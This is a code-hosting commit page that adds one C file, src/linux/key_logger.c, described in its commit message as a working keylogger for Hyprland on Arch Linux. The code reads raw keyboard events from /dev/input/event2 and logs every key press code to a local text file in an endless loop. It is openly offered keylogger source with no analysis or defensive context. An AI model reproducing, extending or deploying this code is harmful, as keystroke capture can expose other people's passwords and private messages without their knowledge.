Skip to content

Commit 98f477b

Browse files
committed
A seemingly working keylogger for hyprland on arch
1 parent c18dc00 commit 98f477b

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed

src/linux/key_logger.c

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
#include <linux/input.h>
2+
#include <fcntl.h>
3+
#include <unistd.h>
4+
#include <stdio.h>
5+
#include <stdlib.h>
6+
7+
int main ( ) {
8+
int fd = open("/dev/input/event2", O_RDONLY);
9+
if (fd < 0) {
10+
perror("open event device");
11+
return 1;
12+
}
13+
14+
FILE * log = fopen("keypresses.txt", "w");
15+
if (! log) {
16+
perror("fopen");
17+
return 1;
18+
}
19+
20+
struct input_event ev;
21+
22+
while (1) {
23+
ssize_t n = read(fd, &ev, sizeof(ev));
24+
if (n != sizeof(ev)) continue;
25+
26+
if (ev.type == EV_KEY && ev.value == 1) {
27+
fprintf(log, "KEYCODE %d\n", ev.code);
28+
fflush(log);
29+
}
30+
}
31+
32+
close(fd);
33+
fclose(log);
34+
return 0;
35+
}

0 commit comments

Comments
 (0)